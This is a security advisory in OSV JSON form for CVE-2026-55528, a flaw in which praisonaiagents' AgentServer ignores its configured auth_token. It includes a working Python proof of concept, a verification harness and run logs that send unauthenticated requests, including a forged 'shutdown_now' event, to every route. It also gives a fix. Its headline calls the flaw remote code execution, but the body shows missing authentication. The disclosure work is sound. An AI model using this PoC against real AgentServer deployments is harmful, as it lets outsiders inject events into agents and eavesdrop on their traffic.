CVE-2026-55528: praisonaiagents Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7g3p-92qq-8wvh",
  "modified" : "2026-08-25T14:31:52Z",
  "published" : "2026-08-25T14:31:52Z",
  "aliases" : [ "CVE-2026-55528" ],
  "summary" : "praisonaiagents: AgentServer declares auth_token but never enforces it on any route",
  "details" : "**Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonaiagents` on PyPI\n**Affected version (empirically tested):** 1.6.48\n**Component:** `praisonaiagents.server.AgentServer` (the bundled HTTP / SSE server)\n\n---\n\n## TL;DR\n\n`AgentServer.ServerConfig` advertises an `auth_token: Optional[str] = None` field that operators set when they want to lock down the server. The `GET /info` endpoint even displays it back as `\"auth_token\": \"***\"` — strongly implying the value is wired into request authentication.\n\nIt isn't. `AgentServer._create_app` never reads `auth_token`, never adds an authentication middleware, and never decorates any route with a dependency that checks it. Every route — `/info`, `/publish`, `/events`, `/health` — accepts unauthenticated requests regardless of whether `auth_token` is configured.\n\nThe same package contains a *sibling* server, `praisonaiagents.ui.a2a.A2A`, written by the same developer, which implements the bearer-token pattern correctly via FastAPI's `Depends(_verify_auth)`. This rules out the \"auth is not yet implemented; operators are expected to add it\" reading: the developer knew the pattern but did not apply it to `AgentServer`.\n\n## Root cause\n\n```\n   Expected behavior when setting ServerConfig(auth_token=\"…\"):\n     \"Only requests with a matching Authorization header will be\n      accepted on /publish, /events, /info.\"\n\n   Actual behavior (server/server.py, dist 1.6.48):\n     - line 31    auth_token: Optional[str] = None   # declared\n     - line 39    \"auth_token\": \"***\" if self.auth_token else None  # displayed\n     - lines 122-204:  no auth middleware, no Depends, no\n                       request.headers[\"Authorization\"] read,\n                       no comparison to self.config.auth_token.\n\n   Impact:\n     The configuration knob is dead code from the route handlers'\n     perspective.  All routes always run.  The operator has no signal\n     that their auth_token was discarded — /info even confirms it\n     was received by displaying \"***\".\n```\n\n## Sibling proof — the same package gets it right elsewhere\n\n`praisonaiagents/ui/a2a/a2a.py`:\n\n```python\n# line 163\nasync def _verify_auth(authorization: Optional[str] = Header(None)):\n    \"\"\"Verify bearer token if auth_token is configured.\"\"\"\n    if self.auth_token is None:\n        return\n    ...\n    if len(parts) != 2 or parts[0].lower() != \"bearer\" \\\n            or parts[1] != self.auth_token:\n        raise HTTPException(status_code=401, ...)\n\n# line 192\nfrom fastapi import Depends\n_a2a_deps = [Depends(_verify_auth)] if self.auth_token else []\n```\n\nThat is the missing implementation. Porting it to `AgentServer` — either via Starlette `BaseHTTPMiddleware` or by switching to FastAPI and adding `Depends(_verify_auth)` to each route — closes the gap.\n\n## Affected routes (empirically tested)\n\n| Route       | Method | Accepts unauth requests? | Impact                                                                 |\n|-------------|--------|--------------------------|------------------------------------------------------------------------|\n| `/info`     | GET    | **Yes (200)**            | Leaks server config; confirms `auth_token` is set (`\"***\"`); reveals client count and CORS config. |\n| `/publish`  | POST   | **Yes (200)**            | Anyone broadcasts arbitrary `{type, data}` to every subscribed agent.  Event payload is whatever the attacker sends. |\n| `/events`   | GET    | **Yes (200)**            | Anyone subscribes to the SSE stream and observes every event published by the server (and by any other anonymous attacker). |\n| `/health`   | GET    | **Yes (200)**            | Leaks live SSE client count.                                           |\n\n## Impact\n\nThe `/publish` and `/events` routes are the load-bearing ones. Together they let an unauthenticated network-adjacent attacker:\n\n1. **Inject control events** into every agent process subscribed to the server. `AgentServer.broadcast(event_type, data)` puts the payload into every `SSEClient.queue`; any consumer dispatching on `event_type` will dispatch on the attacker-chosen type. Real deployments register handlers per event type via `AgentServer.on_event(...)`; an attacker who can guess (or enumerate via `/info` + inspection) a registered type can drive arbitrary handler invocations with attacker-chosen `data`.\n2. **Eavesdrop on the entire event bus** by subscribing to `/events`. Whatever the legitimate publishers send is visible: agent observations, intermediate plans, tool inputs and outputs, user-supplied prompts that the operator believed were behind the `auth_token` wall.\n3. **Pivot via leaked config.** `/info` is sufficient to enumerate `cors_origins` (helping plan cross-origin attacks if any of the listed origins are attacker-controlled) and to confirm that the target has bothered to set `auth_token`, signalling a high-value target.\n\n`SSEClient.queue` is a `queue.Queue` with no documented size cap; the event broadcaster does not check `max_connections` against publishers, only subscribers. An attacker can also flood `/publish` to fill every subscriber's queue, denying service to legitimate broadcasts (CWE-770). Not scored as the main impact above.\n\n## Anchors\n\npraisonaiagents 1.6.48, file `praisonaiagents/server/server.py`:\n\n| Line  | Symbol                                                  | What it shows |\n|-------|---------------------------------------------------------|---------------|\n| 31    | `auth_token: Optional[str] = None`                       | Declared. |\n| 39    | `\"auth_token\": \"***\" if self.auth_token else None`       | Displayed (masked) in `/info`. |\n| 121   | `def _create_app(self):`                                 | Route + middleware setup begins. |\n| 132   | `async def health(request):`                             | No auth check. |\n| 139   | `async def events(request):`                             | No auth check. |\n| 164   | `async def publish(request):`                            | No auth check. |\n| 182   | `async def info(request):`                               | No auth check. |\n| 190   | `routes = [Route(\"/health\", …), Route(\"/events\", …), Route(\"/publish\", …), Route(\"/info\", …)]` | Routes registered without `Depends`/middleware. |\n| 197   | `app = Starlette(routes=routes)`                         | App created. |\n| 200   | `app = CORSMiddleware(app, …)`                           | **Only** middleware added. |\n\nSource sha256 (1.6.48, `praisonaiagents/server/server.py`): `aac9497d515b5cb928070267b860b11ef38b537605e64659feef895b524ca7e4` (9,962 bytes).\n\nSibling (same package, same field name, *enforced*): `praisonaiagents/ui/a2a/a2a.py:163-193`.\n\n## Reproduction (empirical PoC)\n\n`poc/poc.py` starts `AgentServer` with `ServerConfig(auth_token=\"supersecret-not-actually-checked\")` and then sends unauthenticated requests to each route.\n\nRun log (`poc/run-log.txt`):\n\n```\n[1] GET /info     (no Authorization) -> HTTP 200\n    body: {\"name\":\"PraisonAI Agent Server\",\"version\":\"1.0.0\",\"clients\":0,\n           \"config\":{\"host\":\"127.0.0.1\",\"port\":18765,\"cors_origins\":[],\n                     \"auth_token\":\"***\",\"max_connections\":100}}\n[2] POST /publish (no Authorization) -> HTTP 200\n    body: {\"success\":true,\"clients\":0}\n[3] GET /health   (no Authorization) -> HTTP 200\n[4] GET /events   (no Authorization) -> HTTP 200\n\nVULNERABLE: 4 unauthenticated routes\nVERDICT: VULNERABLE\nEXIT 0\n```\n\n## Suggested fix\n\nMake `AgentServer` reuse the A2A pattern. Smallest fix:\n\n```python\n# in _create_app, after `app = Starlette(routes=routes)`:\nif self.config.auth_token:\n    from starlette.middleware.base import BaseHTTPMiddleware\n    from starlette.responses import JSONResponse\n\n    expected = \"Bearer \" + self.config.auth_token\n\n    class _Auth(BaseHTTPMiddleware):\n        async def dispatch(self, request, call_next):\n            if request.url.path == \"/health\":     # if /health should remain public\n                return await call_next(request)\n            got = request.headers.get(\"authorization\", \"\")\n            if not hmac.compare_digest(got, expected):\n                return JSONResponse({\"error\": \"unauthorized\"}, status_code=401)\n            return await call_next(request)\n\n    app = _Auth(app)\n\napp = CORSMiddleware(app, ...)\n```\n\nConstant-time comparison (`hmac.compare_digest`) is appropriate since this is a network-comparable secret.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonaiagents AgentServer ignores ServerConfig.auth_token.\n\nThe ServerConfig dataclass declares `auth_token: Optional[str] = None` and\nthe /info endpoint reports it as \"***\" when set, giving operators the\nimpression that requests will be authenticated.  In reality,\nAgentServer._create_app never reads auth_token, never adds an auth\nmiddleware, and never decorates any route with Depends(_verify_auth).\n\nThis PoC starts AgentServer with auth_token=\"supersecret\", then hits\nevery route without any Authorization header.  All requests succeed.\n\"\"\"\n\nimport json\nimport sys\nimport time\nimport threading\nfrom urllib.request import Request, urlopen\nfrom urllib.error import HTTPError, URLError\n\nfrom praisonaiagents.server import AgentServer, ServerConfig\n\nPORT = 18765\nAUTH_TOKEN = \"supersecret-not-actually-checked\"\n\ndef http_request(method, path, body=None, headers=None):\n    url = f\"http://127.0.0.1:{PORT}{path}\"\n    data = None\n    if body is not None:\n        data = json.dumps(body).encode(\"utf-8\")\n    req = Request(url, data=data, method=method, headers=headers or {})\n    if data is not None:\n        req.add_header(\"Content-Type\", \"application/json\")\n    try:\n        with urlopen(req, timeout=5) as resp:\n            return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n    except HTTPError as e:\n        return e.code, e.read().decode(\"utf-8\", errors=\"replace\")\n    except URLError as e:\n        return None, f\"URLError: {e}\"\n\ndef main() -> int:\n    print(\"=\" * 70)\n    print(f\"praisonaiagents version: 1.6.48\")\n    print(f\"Test: start AgentServer with auth_token={AUTH_TOKEN!r}\")\n    print(f\"      then send UNAUTHENTICATED requests to every route.\")\n    print(\"=\" * 70)\n\n    config = ServerConfig(host=\"127.0.0.1\", port=PORT, auth_token=AUTH_TOKEN, cors_origins=[])\n    server = AgentServer(config=config)\n    server.start(blocking=False)\n    time.sleep(1.0)  # wait for uvicorn to be ready\n\n    findings = []\n\n    code, body = http_request(\"GET\", \"/info\")\n    info_data = None\n    try:\n        info_data = json.loads(body)\n    except Exception:\n        pass\n    print(f\"\\n[1] GET /info (no Authorization header) -> HTTP {code}\")\n    print(f\"    body: {body[:200]}\")\n    if code == 200 and info_data and info_data.get(\"config\", {}).get(\"auth_token\") == \"***\":\n        findings.append(\"/info: unauthenticated; leaks that auth_token IS configured\")\n\n    payload = {\"type\": \"attacker_injected_event\",\n               \"data\": {\"forged_from\": \"unauthenticated_client\", \"instruction\": \"shutdown_now\"}}\n    code, body = http_request(\"POST\", \"/publish\", body=payload)\n    print(f\"\\n[2] POST /publish (no Authorization header) -> HTTP {code}\")\n    print(f\"    body: {body[:200]}\")\n    if code == 200:\n        try:\n            ok = json.loads(body).get(\"success\") is True\n        except Exception:\n            ok = False\n        if ok:\n            findings.append(\"/publish: unauthenticated event broadcast to all SSE clients\")\n\n    code, body = http_request(\"GET\", \"/health\")\n    print(f\"\\n[3] GET /health (no Authorization header) -> HTTP {code} body={body[:120]}\")\n    if code == 200:\n        findings.append(\"/health: unauthenticated; leaks live client count\")\n\n    sse_status = []\n    def sse_reader():\n        try:\n            req = Request(f\"http://127.0.0.1:{PORT}/events\", method=\"GET\")\n            with urlopen(req, timeout=3) as resp:\n                sse_status.append(f\"HTTP {resp.status}\")\n                try:\n                    chunk = resp.read(64)\n                    sse_status.append(f\"first-chunk-bytes={len(chunk)}\")\n                except Exception as e:\n                    sse_status.append(f\"chunk-read: {e}\")\n        except Exception as exc:\n            sse_status.append(f\"ERR: {exc}\")\n    t = threading.Thread(target=sse_reader, daemon=True)\n    t.start()\n    time.sleep(2.0)\n    print(f\"\\n[4] GET /events (no Authorization header) -> {sse_status}\")\n    if sse_status and sse_status[0] == \"HTTP 200\":\n        findings.append(\"/events: unauthenticated SSE subscription accepted\")\n\n    print(\"\\n\" + \"=\" * 70)\n    if findings:\n        print(f\"VULNERABLE: {len(findings)} unauthenticated routes\")\n        for f in findings:\n            print(f\"  - {f}\")\n        print(\"VERDICT: VULNERABLE\")\n        return 0\n    print(\"DEFENDED\")\n    return 1\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, os, importlib.util\nBK=os.path.abspath(\"repos/PraisonAI/src/praisonai-agents\"); sys.path.insert(0,BK)\nfor p in [\"praisonaiagents\",\"praisonaiagents.server\"]:\n    m=types.ModuleType(p); m.__path__=[BK+\"/\"+p.replace(\".\",\"/\")]; sys.modules[p]=m\nlg=types.ModuleType(\"praisonaiagents._logging\"); lg.get_logger=lambda *a,**k: __import__(\"logging\").getLogger(\"x\"); sys.modules[\"praisonaiagents._logging\"]=lg\nspec=importlib.util.spec_from_file_location(\"praisonaiagents.server.server\", BK+\"/praisonaiagents/server/server.py\")\nsrvmod=importlib.util.module_from_spec(spec); srvmod.__package__=\"praisonaiagents.server\"; sys.modules[spec.name]=srvmod; spec.loader.exec_module(srvmod)\n\nfrom starlette.testclient import TestClient\n# Operator DOES configure an auth_token, expecting it to protect the server:\ncfg = srvmod.ServerConfig(host=\"127.0.0.1\", port=8765, auth_token=\"super-secret-operator-token\")\nsrv = srvmod.AgentServer(config=cfg)            # REAL AgentServer\napp = srv._create_app()                        # REAL Starlette app + routes\nclient = TestClient(app)\n\nprint(\"[*] auth_token configured on server:\", repr(cfg.auth_token))\nr_info = client.get(\"/info\")\nprint(f\"[+] GET /info  (no auth) -> HTTP {r_info.status_code}; config disclosed: {r_info.json().get('config')}\")\nr_pub = client.post(\"/publish\", json={\"type\":\"admin_event\",\"data\":{\"x\":\"injected-by-attacker\"}})\nprint(f\"[+] POST /publish (no auth) -> HTTP {r_pub.status_code}; body: {r_pub.json()}\")\n\nassert r_info.status_code==200 and r_pub.status_code==200 and r_pub.json().get(\"success\") is True\nprint(\"[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced — /info + /publish reachable unauthenticated\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[*] auth_token configured on server: 'super-secret-operator-token'\n[+] GET /info  (no auth) -> HTTP 200; config disclosed: {'host': '127.0.0.1', 'port': 8765, 'cors_origins': [], 'auth_token': '***', 'max_connections': 100}\n[+] POST /publish (no auth) -> HTTP 200; body: {'success': True, 'clients': 0}\n[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced — /info + /publish reachable unauthenticated\n```\n\n## Credit\n\nKai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonaiagents"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.58"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7g3p-92qq-8wvh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306", "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T14:31:52Z",
    "nvd_published_at" : null
  }
}